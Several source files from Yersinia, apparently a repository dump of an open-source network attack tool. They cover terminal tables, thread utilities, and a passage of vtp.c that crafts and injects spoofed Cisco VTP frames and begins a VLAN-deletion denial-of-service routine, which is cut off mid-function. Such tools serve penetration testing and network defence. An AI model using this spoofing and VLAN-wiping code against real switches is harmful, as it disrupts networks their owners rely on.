/* terminal.h * Definitions for network terminal management * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __TERMINAL_H__ #define __TERMINAL_H__ #include "terminal-defs.h" struct telnet_option telnet_command[]={ { COM_SE, "Suboption_End",0 }, { COM_NOP, "NOP",0 }, { COM_DM, "Data_Mark",0 }, { COM_BRK, "Break",0 }, { COM_IP, "Interrupt_Process",0 }, { COM_AO, "Abort_Output",0 }, { COM_AYT, "Are_You_There",0 }, { COM_EC, "Escape_Character",0 }, { COM_EL, "Erase_Line",0 }, { COM_GA, "Go_Ahead",0 }, { COM_SB, "Suboption_Begin",0 }, { COM_WILL, "Will",1 }, { COM_WONT, "Won't",1 }, { COM_DO, "Do",1 }, { COM_DONT, "Don't",1 }, { COM_IAC, "Interpret_As_Command",0 } }; struct telnet_option telnet_option[]={ { OPT_ECHO, "Echo",0 }, { OPT_SGAHEAD, "Supress_Go_Ahead",0 }, { OPT_STATUS, "Status",0 }, { OPT_TMARK, "Timing_Mark",0 }, { OPT_TTYPE, "Terminal_Type",0 }, { OPT_WSIZE, "Window_Size",0 }, { OPT_TSPEED, "Terminal_Speed",0 }, { OPT_RFLOW, "Remote_Flow",0 }, { OPT_LMODE, "Linemode",0 }, { OPT_ENVIRON, "Environ_Variables",0 } }; int8_t neg_default[]={ COM_IAC, COM_DONT, OPT_LMODE, /* Don't Linemode */ COM_IAC, COM_WILL, OPT_SGAHEAD, /* Will Supress Go Ahead */ COM_IAC, COM_WILL, OPT_ECHO, /* Will Echo */ COM_IAC, COM_DO, OPT_WSIZE, /* Do Negotiate Window Size */ COM_IAC, COM_DONT, OPT_TTYPE, /* Don't Negotiate Terminal Type */ COM_IAC, COM_DONT, OPT_ENVIRON, /* Don't send Environment Variables */ COM_IAC, COM_DONT, OPT_RFLOW, /* Don't Remote Flow Control */ COM_IAC, COM_DONT, OPT_TSPEED, /* Don't Terminal Speed */ COM_IAC, COM_DONT, OPT_STATUS /* Don't Status */ }; char *vty_motd[]={ "\r\n\r\nMOTD: Don't do it!! Don't do it!! Don't do it!!\r\n\t(Please DO IT)\r\n", "\r\n\r\nMOTD: Ghosts'n'Goblins, Trojan, Out Run, Bump'n'jump, Side Arms...\r\n", "\r\n\r\nMOTD: M4t30 31337 M4t30 31337 M4t30 31337 M4t30 31337 M4t30 31337\r\n", "\r\n\r\nMOTD: Be a good boy... (SSLBomb rulez)\r\n", "\r\n\r\nMOTD: I'm so 31337 that I can pronounce yersinia as yersiiiniiiiaaaa\r\n", "\r\n\r\nMOTD: Yersiiiiiiiiiiiniaaaa, you're breaking my heart!! - S&G (c) -\r\n", "\r\n\r\nMOTD: The nightly bird catches the worm ;)\r\n", "\r\n\r\nMOTD: Do you have an ISL capable Cisco switch? Share it!! ;)\r\n", "\r\n\r\nMOTD: Do you have any Alcatel or Juniper switch? Share it!! ;)\r\n", "\r\n\r\nMOTD: Do you have the new Denon AV amplifier with HDMI 1.3 support? Share it!! ;)\r\n", "\r\n\r\nMOTD: Zaragoza, Palencia, Soria... Nice spanish cities to live in, give them a try!\r\n", "\r\n\r\nMOTD: I would like to see romanian wild boars, could you invite me? :)\r\n\tMail me at aandreswork _at_ hotmail.com\r\n", "\r\n\r\nMOTD: The world is waiting for... M-A-T-E-O!!!\r\n", "\r\n\r\nMOTD: Who dares wins\r\n", "\r\n\r\nMOTD: It's the voodoo who do what you don't dare to people!\r\n", "\r\n\r\nMOTD: Magic people, voodoo people!\r\n", "\r\n\r\nMOTD: Not one day goes by that I don't ride, 'til the infinite, the horse of my imagination\r\n", "\r\n\r\nMOTD: We need a fancy web, could you please help us?\r\n", "\r\n\r\nMOTD: Having lotto fun with my ProjectionDesign Action! Model Two... :)\r\n", "\r\n\r\nMOTD: Having lotto fun with my Audiovector Mi3 Avantgarde Arrete LE... :)\r\n", "\r\n\r\nMOTD: Having lotto fun with my Denon AVC-A11XVA... :)\r\n", "\r\n\r\nMOTD: My notebook is totally deprecated... gimme one!... :)\r\n", "\r\n\r\nMOTD: Kudos to daddy... wherever you are... :)\r\n", "\r\n\r\nMOTD: I'm waiting for the PS3 but i'm short of money... :'(\r\n", "\r\n\r\nMOTD: The Hakin9 magazine owe money to us... 500 Euros\r\n", "\r\n\r\nMOTD: Daniela blu-eyes... :)\r\n", "\r\n\r\nMOTD: Kudos to daddy... wherever you are... :)\r\n", "\r\n\r\nMOTD: Snowboard on the winter, MBK on the summer :)\r\n" }; struct term_states term_states[] = { { "LOGIN_STATE", "\r\nlogin: ", NULL, 0, 0, 0, 1, LOGIN_TIMEOUT }, { "PASSWORD_STATE", "password: ", NULL, 0, 0, 0, 0, LOGIN_TIMEOUT }, { "NORMAL_STATE", "yersinia> ", "Password:", 1, 1, 1, 1, TTY_TIMEOUT }, { "ENABLE_STATE", "yersinia# ", NULL, 1, 1, 1, 1, TTY_TIMEOUT }, { "PARAMS_STATE", NULL , NULL, 1, 0, 0, 1, TTY_TIMEOUT }, { "INTERFACE_STATE", "yersinia(if)# ", NULL, 1, 1, 1, 1, TTY_TIMEOUT } }; struct term_types term_type[] = { { "console", NULL, MAX_CON }, { "tty", NULL, MAX_TTY }, { "vty", NULL, MAX_VTY }, { "unknown", NULL, 0 } }; struct terminals *terms=NULL; #ifdef HAVE_RAND_R #ifdef SOLARIS int rand_r(unsigned int *); #endif #endif int8_t term_init(void); void term_destroy(void); int8_t term_add_node(struct term_node **, int8_t, int, pthread_t); void term_delete_node(struct term_node *, int8_t); void term_delete_all(void); void term_delete_all_console(void); void term_delete_all_tty(void); void term_delete_all_vty(void); void term_delete_class(struct term_node *, int8_t); int8_t term_motd(void); int8_t term_write(struct term_node *, char *, u_int16_t); int8_t term_vty_banner(struct term_node *); int8_t term_vty_prompt(struct term_node *); int8_t term_vty_motd(struct term_node *); int8_t term_vty_negotiate(struct term_node *); int8_t term_vty_history_add(struct term_node *, char *, u_int16_t); int8_t term_vty_history_next(struct term_node *); int8_t term_vty_history_prev(struct term_node *); int8_t term_vty_history_get_slot(char *[], int8_t, int8_t); int8_t term_vty_mv_cursor_right(struct term_node *); int8_t term_vty_mv_cursor_left(struct term_node *); int8_t term_vty_mv_cursor_init(struct term_node *); int8_t term_vty_mv_cursor_end(struct term_node *); int8_t term_vty_supr(struct term_node *); int8_t term_vty_do_command(struct term_node *); int8_t term_vty_complete_command(struct term_node *); int8_t term_vty_backspace(struct term_node *); int8_t term_vty_help(struct term_node *); int8_t term_vty_help_tab(struct term_node *, int8_t); int8_t term_vty_auth(int8_t, char *, char *); void term_vty_clear_username(struct term_node *); void term_vty_clear_command(struct term_node *); int8_t term_vty_clear_remote(struct term_node *); int8_t term_vty_clear_line(struct term_node *, u_int16_t); int8_t term_vty_clear_screen(struct term_node *); int8_t term_vty_flush(struct term_node *); int8_t term_vty_write(struct term_node *, char *, u_int16_t); int8_t term_vty_more(struct term_node *node); int8_t term_vty_buffer_add(struct term_node *, void *, u_int16_t); int8_t term_vty_exit(struct term_node *); int8_t term_vty_set_words(struct term_node *, struct words_array *); void term_vty_free_words(struct words_array *); int8_t term_vty_tab_subst(struct term_node *, char *, char *); /* Extern functions...*/ extern void *admin_th_calloc_r(size_t); extern void admin_th_free_r(void *); extern void thread_error(char *, int8_t); extern void *thread_calloc_r(size_t); extern void thread_free_r(void *); #ifdef HAVE_REMOTE_ADMIN extern int8_t command_cls(struct term_node *, struct words_array *, int16_t, int8_t, int8_t); extern int8_t command_entry_point(struct term_node *, struct words_array *, int8_t, int8_t, int8_t); #endif extern void attack_free_params(struct attack_param *, u_int8_t); extern int8_t attack_launch(struct term_node *, u_int16_t, u_int16_t, struct attack_param *, u_int8_t ); extern int8_t parser_filter_param(u_int8_t, void *, char *, u_int16_t, int16_t); extern int8_t interfaces_pcap_file_open(struct term_node *, u_int8_t, u_int8_t *, u_int16_t); extern int8_t interfaces_pcap_file_close(struct term_node *, u_int8_t); extern int interfaces_compare(void *, void *); extern struct term_tty *tty_tmp; #endif
C
yersinia/src/thread-util.c
/* thread-util.c * Implementation of thread utilities * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #ifndef _REENTRANT #define _REENTRANT #endif #include <stdio.h> #include <errno.h> #ifdef HAVE_SYS_TYPES_H #include <sys/types.h> #endif #ifdef HAVE_INTTYPES_H #include <inttypes.h> #endif #include <sys/socket.h> #ifdef HAVE_NETINET_IN_SYSTM_H #include <netinet/in_systm.h> #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include <netinet/in_system.h> #endif #endif #include <netinet/in.h> #include <arpa/inet.h> #include <signal.h> #include <time.h> #ifdef TIME_WITH_SYS_TIME #include <sys/time.h> #endif #ifdef HAVE_UNISTD_H #include <unistd.h> #endif #ifdef HAVE_STRING_H #include <string.h> #endif #ifdef HAVE_STRINGS_H #include <strings.h> #endif #ifdef HAVE_BSTRING_H #include <bstring.h> #endif #ifdef STDC_HEADERS #include <stdlib.h> #endif #include <stdarg.h> #include "thread-util.h" extern void write_log( u_int16_t mode, char *msg, ...); /* * Create a thread * int8_t thread_create(pthread_t *thread_id, void *thread_body , void *arg) { if (pthread_create(thread_id, NULL, thread_body, arg) != 0) { thread_error("pthread_create",errno); return -1; } return 0; } */ int8_t thread_create( THREAD *thread, void *thread_body, void *arg ) { if ( ! pthread_mutex_init( &thread->finished, NULL ) ) { if ( ! pthread_create( &thread->id, NULL, thread_body, arg ) ) return 0; thread_error( "thread_create pthread_create", errno ); pthread_mutex_destroy( &thread->finished ); } else thread_error( "thread_create pthread_mutex_init", errno ); return -1 ; } /* * Destroy a thread with polling... */ int8_t thread_destroy( THREAD *thread ) { int8_t ret = 0 ; write_log(0,"\n thread_destroy %X destroying %X...\n",(int)pthread_self(), (int)thread->id); thread->stop = 1; if ( ! PTHREAD_JOIN( thread ) ) { if ( pthread_mutex_unlock( &thread->finished ) ) { thread_error( "thread_destroy pthread_mutex_unlock", errno ); ret = -1 ; } } else { thread_error(" thread_destroy PTHREAD_JOIN",errno); ret = -1; } write_log(0," thread_destroy %X after PTHREAD_JOIN %X...\n", (int)pthread_self(), (int)thread->id ); thread->stop = 0; thread->id = 0; return ret; } /* * Destroy a thread with cancellation... */ int8_t thread_destroy_cancel(pthread_t thread_id) { pthread_t id = thread_id; if (pthread_cancel(id) != 0) { thread_error(" thread_destroy_cancel pthread_cancel",errno); return -1; } if (pthread_join(id, NULL) != 0) { thread_error(" thread_destroy_cancel pthread_join",errno); return -1; } return 0; } int8_t thread_create_condsem(struct condsem *condsem) { if (pthread_mutex_init(&condsem->mutex, NULL) != 0) { thread_error("pthread_mutex_init",errno); return -1; } if (pthread_cond_init(&condsem->condvar, NULL) != 0) { thread_error("pthread_cond_init",errno); return -1; } condsem->value = 0; return 0; } void thread_delete_condsem(struct condsem *condsem) { if (pthread_mutex_destroy(&condsem->mutex) != 0) thread_error("pthread_mutex_destroy(&condsem->mutex)",errno); if (pthread_cond_destroy(&condsem->condvar) != 0) thread_error("pthread_cond_destroy(&condsem->condvar)",errno); } int8_t thread_wait_cond(struct condsem *condsem) { if (pthread_mutex_lock(&condsem->mutex) != 0) { thread_error("pthread_mutex_lock",errno); return -1; } while (condsem->value <= 0) { if (pthread_cond_wait(&condsem->condvar, &condsem->mutex) != 0) { thread_error("pthread_cond_wait",errno); return -1; } } condsem->value--; if (pthread_mutex_unlock(&condsem->mutex) != 0) { thread_error("pthread_mutex_unlock",errno); return -1; } return 0; } /* * Wait for condition wariable with timeout. * Be aware of disabling cancellation before calling this function!!! * Return THREAD_TIMEOUT on timeout, -1 on error, 0 if Ok. */ int8_t thread_wait_cond_timed(struct condsem *condsem, struct timeval *timeout) { int ret=0; struct timeval now; struct timespec abstimeout; if (pthread_mutex_lock(&condsem->mutex) != 0) { thread_error("pthread_mutex_lock",errno); return -1; } gettimeofday(&now, NULL); abstimeout.tv_sec = now.tv_sec + timeout->tv_sec; abstimeout.tv_nsec = (now.tv_usec + timeout->tv_usec) * 1000; if (abstimeout.tv_nsec > 999999999) { abstimeout.tv_sec += (abstimeout.tv_nsec/1000000000); abstimeout.tv_nsec = (abstimeout.tv_nsec%1000000000); } while (condsem->value <= 0) { ret = pthread_cond_timedwait(&condsem->condvar, &condsem->mutex, &abstimeout); if ( (ret == ETIMEDOUT) || (ret != 0) ) break; } if (ret == ETIMEDOUT) { pthread_mutex_unlock(&condsem->mutex); return THREAD_TIMEOUT; } else { if (ret) { thread_error(" pthread_cond_timedwait()",ret); pthread_mutex_unlock(&condsem->mutex); return -1; } condsem->value--; } pthread_mutex_unlock(&condsem->mutex); return 0; } int8_t thread_signal_cond(struct condsem *condsem) { if (pthread_mutex_lock(&condsem->mutex) != 0) { thread_error("pthread_mutex_lock",errno); return -1; } condsem->value++; if (pthread_mutex_unlock(&condsem->mutex) != 0) { thread_error("pthread_mutex_unlock",errno); return -1; } if (pthread_cond_signal(&condsem->condvar) != 0) { thread_error("pthread_cond_signal",errno); return -1; } return 0; } int8_t thread_send_broadcast(struct condsem *condsem, int8_t total) { if (pthread_mutex_lock(&condsem->mutex) != 0) { thread_error("pthread_mutex_lock",errno); return -1; } condsem->value += total; if (pthread_mutex_unlock(&condsem->mutex) != 0) { thread_error("pthread_mutex_unlock",errno); return -1; } if (pthread_cond_broadcast(&condsem->condvar) != 0) { thread_error("pthread_send_broadcast",errno); return -1; } return 0; } void thread_error( char *msg, int8_t errn) { #ifdef HAVE_GLIBC_STRERROR_R /* At least on glibc >= 2.0 Can anybody confirm?... */ char buf[64]; write_log(0, "%s: (%d) %s -> %s\n", PACKAGE, (int)pthread_self(), msg, strerror_r(errn, buf, sizeof(buf))); #else #ifdef HAVE_STRERROR write_log(0, "%s: (%d) %s -> %s\n", PACKAGE, (int)pthread_self(), msg, strerror(errn) ); #else write_log(0, "%s: (%d) %s -> %s\n", PACKAGE, (int)pthread_self(), msg, sys_errlist[errn] ); #endif #endif } void thread_libnet_error( char *msg, libnet_t *lhandler) { write_log(0, "%s: (%d) %s -> %s\n", PACKAGE, (int)pthread_self(), msg, libnet_geterror(lhandler)); } /* * Our own calloc function. */ void * thread_calloc_r(size_t size) { void *aux; #ifdef HAVE_CALLOC_R aux = calloc_r(1,size); #else aux = calloc(1,size); #endif return aux; } void thread_free_r(void *ptr) { #ifdef HAVE_FREE_R free_r(ptr); #else free(ptr); #endif } int thread_usleep(unsigned long useconds) { int ret; #ifdef HAVE_NANOSLEEP struct timespec timeout; #else struct timeval timeout; #endif if (useconds > 999999) useconds = 999999; timeout.tv_sec = 0; #ifdef HAVE_NANOSLEEP timeout.tv_nsec = (useconds*1000); #else timeout.tv_usec = useconds; #endif #ifdef HAVE_NANOSLEEP ret = nanosleep(&timeout, NULL); #else ret = select(0,NULL,NULL,NULL,&timeout); #endif return ret; } /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C/C++
yersinia/src/thread-util.h
/* thread-util.h * Definitions for thread utils * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __THREAD_H__ #define __THREAD_H__ #include <libnet.h> #ifdef HAVE_PTHREAD_H #include <pthread.h> #endif #define THREAD_TIMEOUT -2 struct condsem { pthread_mutex_t mutex; pthread_cond_t condvar; u_int16_t value; }; typedef struct { pthread_t id; u_int8_t stop; pthread_mutex_t finished; } THREAD; #define PTHREAD_JOIN(x) (pthread_mutex_lock(&(x)->finished)) //int8_t thread_create(pthread_t *, void *, void *); int8_t thread_create( THREAD *, void *, void *); int8_t thread_destroy_cancel(pthread_t); int8_t thread_destroy(THREAD *); void thread_error(char *, int8_t); void thread_libnet_error(char *, libnet_t *); int8_t thread_create_condsem(struct condsem *); void thread_delete_condsem(struct condsem *); int8_t thread_wait_cond(struct condsem *); int8_t thread_wait_cond_timed(struct condsem *, struct timeval *); int8_t thread_signal_cond(struct condsem *); int8_t thread_send_broadcast(struct condsem *, int8_t); void *thread_calloc_r(size_t); void thread_free_r(void *); int thread_usleep(unsigned long); #endif
C
yersinia/src/vtp.c
/* vtp.c * Implementation and attacks for Cisco's VLAN Trunking Protocol * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #ifndef _REENTRANT #define _REENTRANT #endif #include <stdio.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #ifdef HAVE_NETINET_IN_SYSTM_H #include <netinet/in_systm.h> #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include <netinet/in_system.h> #endif #endif #include <netinet/in.h> #include <arpa/inet.h> #include <signal.h> #include <time.h> #ifdef TIME_WITH_SYS_TIME #include <sys/time.h> #endif #ifdef HAVE_UNISTD_H #include <unistd.h> #endif #ifdef HAVE_STRING_H #include <string.h> #endif #ifdef HAVE_STRINGS_H #include <strings.h> #endif #ifdef HAVE_BSTRING_H #include <bstring.h> #endif #ifdef STDC_HEADERS #include <stdlib.h> #endif #ifdef HAVE_PTHREAD_H #include <pthread.h> #endif #include <stdarg.h> #include "vtp.h" void vtp_register(void) { protocol_register(PROTO_VTP, "VTP", "VLAN Trunking Protocol", "vtp", sizeof(struct vtp_data), vtp_init_attribs, vtp_learn_packet, vtp_get_printable_packet, vtp_get_printable_store, vtp_load_values, vtp_attack, vtp_update_field, vtp_features, vtp_comm_params, SIZE_ARRAY(vtp_comm_params), NULL, 0, NULL, vtp_init_comms_struct, PROTO_VISIBLE, vtp_end); } /* * Inicializa la estructura que se usa para relacionar el tmp_data * de cada nodo con los datos que se sacaran por pantalla cuando * se accede al demonio de red. * Teoricamente como esta funcion solo se llama desde term_add_node() * la cual, a su vez, solo es llamada al tener el mutex bloqueado por * lo que no veo necesario que sea reentrante. (Fredy). */ int8_t vtp_init_comms_struct(struct term_node *node) { struct vtp_data *vtp_data; void **comm_param; comm_param = (void *)calloc(1,sizeof(void *)*SIZE_ARRAY(vtp_comm_params)); if (comm_param == NULL) { thread_error("vtp_init_commands_struct calloc error",errno); return -1; } vtp_data = node->protocol[PROTO_VTP].tmp_data; node->protocol[PROTO_VTP].commands_param = comm_param; comm_param[VTP_SMAC] = &vtp_data->mac_source; comm_param[VTP_DMAC] = &vtp_data->mac_dest; comm_param[VTP_VERSION] = &vtp_data->version; comm_param[VTP_CODE] = &vtp_data->code; comm_param[VTP_DOMAIN] = &vtp_data->domain; comm_param[VTP_MD5] = &vtp_data->md5; comm_param[VTP_UPDATER] = &vtp_data->updater; comm_param[VTP_REVISION] = &vtp_data->revision; comm_param[VTP_TIMESTAMP] = &vtp_data->timestamp; comm_param[VTP_STARTVAL] = &vtp_data->start_val; comm_param[VTP_FOLLOWERS] = &vtp_data->followers; comm_param[VTP_SEQ] = &vtp_data->seq; comm_param[12] = NULL; comm_param[13] = NULL; comm_param[VTP_VLAN] = &vtp_data->options; return 0; } void vtp_th_send( void *arg ) { struct attacks *attacks = (struct attacks *)arg; struct vtp_data *vtp_data = (struct vtp_data *)attacks->data; sigset_t mask; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); vtp_data->dom_len = strlen(vtp_data->domain); write_log(0,"\n\nvtp_th_send domain=%s dom_len=%d\n\n",vtp_data->domain,vtp_data->dom_len); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("vtp_th_send pthread_sigmask()",errno); vtp_th_send_exit(attacks); } vtp_send(attacks); vtp_th_send_exit(attacks); } void vtp_th_send_exit( struct attacks *attacks ) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t vtp_send(struct attacks *attacks) { libnet_ptag_t t; libnet_t *lhandler; u_int32_t vtp_len=0, sent; struct vtp_data *vtp_data; struct vtp_summary *vtp_summ; struct vtp_subset *vtp_subset; struct vtp_request *vtp_request; struct vtp_join *vtp_join; u_int8_t *vtp_packet, *aux; u_int8_t cisco_data[]={ 0x00, 0x00, 0x0c, 0x20, 0x03 }; dlist_t *p; struct interface_data *iface_data; struct interface_data *iface_data2; vtp_data = attacks->data; switch(vtp_data->code) { case VTP_SUMM_ADVERT: vtp_len = sizeof(cisco_data)+sizeof(struct vtp_summary); break; case VTP_SUBSET_ADVERT: vtp_len = sizeof(cisco_data)+sizeof(struct vtp_subset)+vtp_data->vlans_len; break; case VTP_REQUEST: vtp_len = sizeof(cisco_data)+38; break; case VTP_JOIN: vtp_len = sizeof(cisco_data)+40+126; break; default: vtp_len = sizeof(cisco_data)+30; break; } vtp_packet = calloc(1,vtp_len); if (vtp_packet == NULL) { thread_error("vtp_send calloc error",errno); return -1; } aux = vtp_packet; memcpy(vtp_packet,cisco_data,sizeof(cisco_data)); aux+=sizeof(cisco_data); switch(vtp_data->code) { case VTP_SUMM_ADVERT: vtp_summ = (struct vtp_summary *)aux; vtp_summ->version = vtp_data->version; vtp_summ->code = vtp_data->code; vtp_summ->followers = vtp_data->followers; if (vtp_data->dom_len > VTP_DOMAIN_SIZE) { vtp_summ->dom_len = VTP_DOMAIN_SIZE; memcpy(vtp_summ->domain,vtp_data->domain,VTP_DOMAIN_SIZE); } else { vtp_summ->dom_len = vtp_data->dom_len; memcpy(vtp_summ->domain,vtp_data->domain,vtp_data->dom_len); } vtp_summ->revision = htonl(vtp_data->revision); vtp_summ->updater = htonl(vtp_data->updater); memcpy(vtp_summ->timestamp,vtp_data->timestamp,VTP_TIMESTAMP_SIZE); memcpy(vtp_summ->md5,vtp_data->md5,16); break; case VTP_SUBSET_ADVERT: vtp_subset = (struct vtp_subset *)aux; vtp_subset->version = vtp_data->version; vtp_subset->code = vtp_data->code; vtp_subset->seq = vtp_data->seq; if (vtp_data->dom_len > VTP_DOMAIN_SIZE) { vtp_subset->dom_len = VTP_DOMAIN_SIZE; memcpy(vtp_subset->domain,vtp_data->domain,VTP_DOMAIN_SIZE); } else { vtp_subset->dom_len = vtp_data->dom_len; memcpy(vtp_subset->domain,vtp_data->domain,vtp_data->dom_len); } vtp_subset->revision = htonl(vtp_data->revision); if (vtp_data->vlans_len) memcpy((vtp_subset+1),vtp_data->vlan_info,vtp_data->vlans_len); break; case VTP_REQUEST: vtp_request = (struct vtp_request *)aux; vtp_request->version = vtp_data->version; vtp_request->code = vtp_data->code; vtp_request->reserved = 0; if (vtp_data->dom_len > VTP_DOMAIN_SIZE) { vtp_request->dom_len = VTP_DOMAIN_SIZE; memcpy(vtp_request->domain,vtp_data->domain,VTP_DOMAIN_SIZE); } else { vtp_request->dom_len = vtp_data->dom_len; memcpy(vtp_request->domain,vtp_data->domain,vtp_data->dom_len); } vtp_request->start_val = htons(vtp_data->start_val); break; case VTP_JOIN: vtp_join = (struct vtp_join *)aux; vtp_join->version = vtp_data->version; vtp_join->code = vtp_data->code; vtp_join->maybe_reserved = 0; if (vtp_data->dom_len > VTP_DOMAIN_SIZE) { vtp_join->dom_len = VTP_DOMAIN_SIZE; memcpy(vtp_join->domain,vtp_data->domain,VTP_DOMAIN_SIZE); } else { vtp_join->dom_len = vtp_data->dom_len; memcpy(vtp_join->domain,vtp_data->domain,vtp_data->dom_len); } vtp_join->vlan = htonl(0x000003ef); vtp_join->unknown[0] = 0x40; break; default: aux[0]=vtp_data->version; aux[1]=vtp_data->code; break; } for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); lhandler = iface_data->libnet_handler; t = libnet_build_802_2( 0xaa, /* DSAP */ 0xaa, /* SSAP */ 0x03, /* control */ vtp_packet, /* payload */ vtp_len, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build ethernet header",lhandler); libnet_clear_packet(lhandler); free(vtp_packet); return -1; } t = libnet_build_802_3( vtp_data->mac_dest, /* ethernet destination */ (attacks->mac_spoofing) ? vtp_data->mac_source : iface_data->etheraddr, /* ethernet source */ LIBNET_802_2_H + vtp_len, /* frame size */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build ethernet header",lhandler); libnet_clear_packet(lhandler); free(vtp_packet); return -1; } /* * Write it to the wire. */ sent = libnet_write(lhandler); if (sent == -1) { thread_libnet_error("libnet_write error", lhandler); libnet_clear_packet(lhandler); free(vtp_packet); return -1; } libnet_clear_packet(lhandler); protocols[PROTO_VTP].packets_out++; iface_data2 = interfaces_get_struct(iface_data->ifname); iface_data2->packets_out[PROTO_VTP]++; } free(vtp_packet); return 0; } /* * Delete all VTP vlans */ void vtp_th_dos_del_all(void *arg) { struct attacks *attacks = (struct attacks *)arg; struct vtp_data *vtp_data, vtp_data_learned; struct pcap_pkthdr header; struct pcap_data pcap_aux; struct libnet_802_3_hdr *ether; struct timeval now; u_int8_t *packet=NULL; sigset_t mask; /* Cisco default vlans */ u_int8_t vlan_cisco[]={ 0x14, 0x00, 0x01, 0x07, 0x00, 0x01, 0x05, 0xdc, 0x00, 0x01, 0x86, 0xa1, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x00, 0x20, 0x00, 0x02, 0x0c, 0x03, 0xea, 0x05, 0xdc, 0x00, 0x01, 0x8a, 0x8a, 0x66, 0x64, 0x64, 0x69, 0x2d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x01, 0x01, 0x00, 0x00, 0x04, 0x01, 0x00, 0x00, 0x28, 0x00, 0x03, 0x12, 0x03, 0xeb, 0x05, 0xdc, 0x00, 0x01, 0x8a, 0x8b, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2d, 0x72, 0x69, 0x6e, 0x67, 0x2d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x04, 0x01, 0x00, 0x00, 0x24, 0x00, 0x04, 0x0f, 0x03, 0xec, 0x05, 0xdc, 0x00, 0x01, 0x8a, 0x8c, 0x66, 0x64, 0x64, 0x69, 0x6e, 0x65, 0x74, 0x2d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x00, 0x02, 0x01, 0x00, 0x00, 0x03, 0x01, 0x00, 0x01, 0x24, 0x00, 0x05, 0x0d, 0x03, 0xed, 0x05, 0xdc, 0x00, 0x01, 0x8a, 0x8d, 0x74, 0x72, 0x6e, 0x65, 0x74, 0x2d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x00, 0x00, 0x00, 0x02, 0x01, 0x00, 0x00, 0x03, 0x01, 0x00, 0x02 }; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("vtp_th_dos_del_all pthread_sigmask()",errno); vtp_th_dos_del_all_exit(attacks); } vtp_data = attacks->data; gettimeofday(&now, NULL); header.ts.tv_sec = now.tv_sec; header.ts.tv_usec = now.tv_usec; if ((packet = calloc(1, SNAPLEN)) == NULL) vtp_th_dos_del_all_exit(attacks); while (!attacks->attack_th.stop) { memset((void *)&vtp_data_learned,0,sizeof(struct vtp_data)); interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, &header, packet, PROTO_VTP, NO_TIMEOUT); if (attacks->attack_th.stop) break; ether = (struct libnet_802_3_hdr *) packet; if (!memcmp(vtp_data->mac_source,ether->_802_3_shost,6) ) continue; /* Oops!! Its our packet... */ pcap_aux.header = &header; pcap_aux.packet = packet; if (vtp_load_values(&pcap_aux, &vtp_data_learned) < 0) continue; if ((vtp_data_learned.code != VTP_SUMM_ADVERT) && (vtp_data_learned.code != 